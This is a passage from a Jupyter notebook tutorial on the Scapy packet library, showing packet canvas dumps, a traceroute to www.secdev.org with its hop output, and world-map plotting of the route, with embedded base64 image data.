999NFHH30kLvju3btsNnvu3LmP\n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\n", "text/plain": [ "" ] }, "execution_count": 15, "metadata": {}, "output_type": "execute_result" } ], "source": [ "pkt.canvas_dump()" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Scapy has a `traceroute()` function, which basically runs a `sr(IP(ttl=(1..30))` and creates a `TracerouteResult` object, which is a specific subclass of `SndRcvList()`." ] }, { "cell_type": "code", "execution_count": 22, "metadata": { "scrolled": true }, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "Begin emission:\n", "Finished to send 15 packets.\n", "\n", "Received 17 packets, got 15 answers, remaining 0 packets\n", " 217.25.178.5:tcp80 \n", "1 192.168.46.254 11 \n", "2 172.28.0.1 11 \n", "3 80.10.115.251 11 \n", "4 10.123.205.82 11 \n", "5 193.252.98.161 11 \n", "6 193.252.137.74 11 \n", "7 193.251.132.183 11 \n", "8 130.117.49.41 11 \n", "9 154.25.7.150 11 \n", "10 154.25.7.150 11 \n", "11 149.6.166.166 11 \n", "12 149.6.166.166 11 \n", "13 217.25.178.5 SA \n", "14 217.25.178.5 SA \n", "15 217.25.178.5 SA \n" ] } ], "source": [ "ans, unans = traceroute('www.secdev.org', maxttl=15)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "The result can be plotted with `.world_trace()` (this requires GeoIP module and data, from [MaxMind](https://www.maxmind.com/))" ] }, { "cell_type": "code", "execution_count": 23, "metadata": {}, "outputs": [ { "data": { "image/png": "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\nuoR58+YVeF5FJ2hSU1Px4sWLIoPA/9eRll5p1K